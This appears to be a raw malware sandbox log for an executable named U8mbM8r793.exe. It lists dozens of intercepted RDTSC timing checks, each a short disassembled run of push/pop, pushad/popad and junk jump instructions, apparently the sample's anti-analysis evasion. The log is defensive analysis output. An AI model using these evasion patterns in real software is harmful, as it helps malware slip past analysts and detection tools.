Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121EC5B second address: 121EC65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121EC65 second address: 121EC6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121EC6B second address: 121EC7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007EFCC8D6A37Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121EDB0 second address: 121EDB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121EDB4 second address: 121EDBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121EDBD second address: 121EDC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121F081 second address: 121F0A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8D6A382h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007EFCC8D6A380h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121F0A9 second address: 121F0B8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121F0B8 second address: 121F0BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121F210 second address: 121F215 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121F215 second address: 121F221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007EFCC8D6A376h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121F390 second address: 121F399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121F399 second address: 121F39D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121F39D second address: 121F3AD instructions: 0x00000000 rdtsc 0x00000002 jp 00007EFCC8E1B136h 0x00000008 jl 00007EFCC8E1B136h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121F3AD second address: 121F3E5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007EFCC8D6A384h 0x00000008 jmp 00007EFCC8D6A388h 0x0000000d pop edx 0x0000000e je 00007EFCC8D6A382h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121F3E5 second address: 121F3EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1227229 second address: 122722E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 122722E second address: 122725E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8E1B13Bh 0x00000007 jmp 00007EFCC8E1B147h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jnl 00007EFCC8E1B136h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 122725E second address: 1227264 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1227264 second address: 122726A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 122726A second address: 1227271 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1225391 second address: 12253A2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007EFCC8E1B13Ch 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12253A2 second address: 12253BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 jg 00007EFCC8D6A376h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 122594E second address: 1225966 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8E1B13Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1225B11 second address: 1225B1B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1225B1B second address: 1225B2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8E1B13Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1225B2B second address: 1225B31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1225B31 second address: 1225B37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1225B37 second address: 1225B3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1225E23 second address: 1225E55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFCC8E1B13Fh 0x00000009 pop eax 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d jc 00007EFCC8E1B136h 0x00000013 jp 00007EFCC8E1B136h 0x00000019 jmp 00007EFCC8E1B13Eh 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1225E55 second address: 1225E89 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007EFCC8D6A376h 0x0000000b pop ebx 0x0000000c push eax 0x0000000d jmp 00007EFCC8D6A37Eh 0x00000012 pop eax 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a pop ebx 0x0000001b jmp 00007EFCC8D6A380h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1226018 second address: 1226021 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12270B0 second address: 12270C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8D6A37Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12270C4 second address: 12270D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007EFCC8E1B136h 0x0000000a pop esi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12270D2 second address: 12270E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jbe 00007EFCC8D6A376h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1224F6D second address: 1224FA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jmp 00007EFCC8E1B149h 0x0000000c jnp 00007EFCC8E1B144h 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007EFCC8E1B13Ch 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1224FA4 second address: 1224FFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007EFCC8D6A376h 0x0000000a jmp 00007EFCC8D6A382h 0x0000000f jmp 00007EFCC8D6A37Fh 0x00000014 popad 0x00000015 popad 0x00000016 pushad 0x00000017 jmp 00007EFCC8D6A384h 0x0000001c pushad 0x0000001d push esi 0x0000001e pop esi 0x0000001f jmp 00007EFCC8D6A380h 0x00000024 push esi 0x00000025 pop esi 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 122A455 second address: 122A45A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 122A45A second address: 122A462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 122BAFF second address: 122BB09 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007EFCC8E1B136h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 122BB09 second address: 122BB16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 122F8B0 second address: 122F8C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8E1B13Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12327B8 second address: 12327BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12327BC second address: 12327C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1232AD6 second address: 1232ADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1241FEC second address: 1241FF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1241FF2 second address: 1241FF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1241FF6 second address: 1241FFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1241FFA second address: 124200F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFCC8D6A37Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 124200F second address: 1242016 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1242016 second address: 1242024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jc 00007EFCC8D6A376h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 124480A second address: 1244810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 124E621 second address: 124E627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 124E627 second address: 124E62B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1256F84 second address: 1256F9A instructions: 0x00000000 rdtsc 0x00000002 ja 00007EFCC8D6A376h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007EFCC8D6A37Ah 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1256F9A second address: 1256FB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8E1B142h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1256FB2 second address: 1256FB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 125EF1E second address: 125EF23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 125DA98 second address: 125DAA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 125DAA0 second address: 125DAA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 125DAA8 second address: 125DAB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007EFCC8D6A376h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 125DAB6 second address: 125DAC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jp 00007EFCC8E1B136h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 125DAC4 second address: 125DACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 125DC2B second address: 125DC51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jl 00007EFCC8E1B136h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d jg 00007EFCC8E1B155h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007EFCC8E1B141h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 125DD98 second address: 125DDA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 125DDA1 second address: 125DDB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007EFCC8E1B14Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007EFCC8E1B136h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 125DDB5 second address: 125DDB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 125E010 second address: 125E01F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007EFCC8E1B136h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 125E01F second address: 125E043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007EFCC8D6A376h 0x0000000a popad 0x0000000b push edi 0x0000000c jmp 00007EFCC8D6A386h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1261CB1 second address: 1261CB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1261CB7 second address: 1261CBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1274646 second address: 127465A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 jc 00007EFCC8E1B164h 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007EFCC8E1B136h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 127465A second address: 127465E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 128453A second address: 128453E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1297CF7 second address: 1297CFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1297FB5 second address: 1297FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jnl 00007EFCC8E1B136h 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1297FC2 second address: 1297FD7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007EFCC8D6A37Ah 0x00000008 push edx 0x00000009 pop edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1297FD7 second address: 1297FF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8E1B142h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12982B7 second address: 12982C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12982C2 second address: 12982CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007EFCC8E1B136h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1299E69 second address: 1299E6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1299E6D second address: 1299E8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007EFCC8E1B136h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d jmp 00007EFCC8E1B143h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 129E628 second address: 129E66F instructions: 0x00000000 rdtsc 0x00000002 jno 00007EFCC8D6A376h 0x00000008 jmp 00007EFCC8D6A388h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jbe 00007EFCC8D6A395h 0x00000015 jmp 00007EFCC8D6A389h 0x0000001a jne 00007EFCC8D6A376h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 129E66F second address: 129E677 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 129E677 second address: 129E67B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 129E67B second address: 129E6A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8E1B140h 0x00000007 jmp 00007EFCC8E1B143h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 129E6A5 second address: 129E6AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 129E1C7 second address: 129E1CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 129E1CB second address: 129E1DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 jnl 00007EFCC8D6A376h 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B531D second address: 11B5321 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 55006B6 second address: 55006DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 mov ebx, 615819A6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esp 0x0000000e jmp 00007EFCC8D6A37Ah 0x00000013 mov dword ptr [esp], ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007EFCC8D6A37Ah 0x0000001f rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 55006DF second address: 55006EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8E1B13Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 55006EE second address: 5500706 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFCC8D6A384h 0x00000009 rdtsc
